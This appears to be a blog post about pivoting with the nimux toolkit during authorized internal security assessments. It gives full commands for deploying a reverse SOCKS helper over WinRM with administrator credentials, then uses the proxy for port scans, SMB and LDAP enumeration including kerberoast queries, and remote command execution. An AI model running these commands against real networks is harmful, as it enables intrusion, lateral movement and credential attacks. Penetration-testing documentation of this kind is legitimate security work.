Pivoting is one of the most important parts of an internal assessment. Once an operator reaches a host that can access another subnet, the next challenge is not just reaching that network,
but continuing the assessment without constantly changing tools or manually rebuilding routes.
nimux includes a native SOCKS pivot workflow for this.
The idea is simple: use nimux to deploy a pivot helper on an authorized host, start a local SOCKS listener, then reuse the same nimux command surface with --proxy for internal enumeration
and follow-on actions.
The CLI stays the execution engine. The pivot becomes just another transport path.
Example deployment:
nimux socks 192.168.1.103 -u administrator -p 'Password123' \
--reverse --listener 192.168.1.104 \
--socks-port 1088 \
--control-port 1081
A successful deployment shows the callback, SOCKS listener, remote helper path, PID, proxychains entry, and cleanup command.
Screenshot caption:
nimux reverse SOCKS deployment over WinRM, showing the agent callback, local SOCKS5 listener, remote helper path, PID, proxychains entry, and cleanup command.
After the SOCKS listener is ready, internal commands can be routed through it.
Port scan through the pivot:
nimux scan 172.16.10.0/24 --port 445,3389,5985 --open \
--proxy socks5://127.0.0.1:1088
SMB enumeration through the pivot:
nimux smb dc01.internal.corp.local -u operator -p '' -d internal.corp.local \
--shares --users --pass-pol \
--proxy socks5://127.0.0.1:1088
LDAP enumeration through the same pivot:
nimux ldap dc01.internal.corp.local -u operator -p '' -d internal.corp.local \
--query dcs --query trusts --query kerberoast \
--proxy socks5://127.0.0.1:1088
WinRM through the pivot:
nimux winrm ws01.internal.corp.local -u operator -p '' -d internal.corp.local \
--cmd whoami \
--proxy socks5://127.0.0.1:1088
Kerberos-aware workflows can also be used with generated krb5 configuration and ccache files:
nimux krb5conf dc01.internal.corp.local -d internal.corp.local --out internal.krb5.conf
nimux kerberos dc01.internal.corp.local -u operator -p '' -d internal.corp.local \
--request kinit --out operator.ccache
nimux winrm ws01.internal.corp.local -k \
--ccache operator.ccache \
--krb5-config internal.krb5.conf \
-u operator -d internal.corp.local \
--spn WSMAN \
--cmd hostname \
--proxy socks5://127.0.0.1:1088
This matters because pivoting is usually where workflows become messy. Operators often end up combining tunnels, proxy wrappers, DNS changes, and separate tooling. nimux tries to keep that
cleaner by making pivoted execution part of the same workflow.
The operational pattern becomes:
deploy pivot
confirm SOCKS listener
reuse nimux with --proxy
enumerate
execute
collect evidence
clean up
Cleanup is also part of the workflow. The SOCKS command prints the values needed to stop the helper and remove the remote file.
Example cleanup:
nimux socks 192.168.1.103 -u administrator -p '' \
--kill \
--pid \
--socks-remote ''
The goal is not to make pivoting magical. It is to make it less fragmented.
nimux is designed as a pure-Nim network enumeration and remote execution toolkit for authorized security assessments. Pivoting is one of the areas where having enumeration, execution,
Kerberos, LDAP, SMB, WinRM, and proxy support under one command surface starts to matter.
Links:
Docs: https://docs.nimux.wiki
GitHub: https://github.com/blue0x1/nimux
Website: https://nimux.wiki
Releases: https://github.com/blue0x1/nimux/releases
Use nimux only on systems you own or are explicitly authorized to assess.
Top comments (0)